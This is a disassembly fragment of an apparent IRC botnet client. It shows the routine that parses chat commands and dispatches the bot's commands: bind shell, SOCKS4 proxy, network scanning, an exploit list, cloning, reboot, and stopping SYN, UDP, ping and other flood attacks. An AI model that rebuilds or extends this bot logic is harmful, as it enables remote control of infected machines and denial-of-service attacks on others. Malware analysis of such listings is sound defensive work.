loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aAliases	; "aliases"
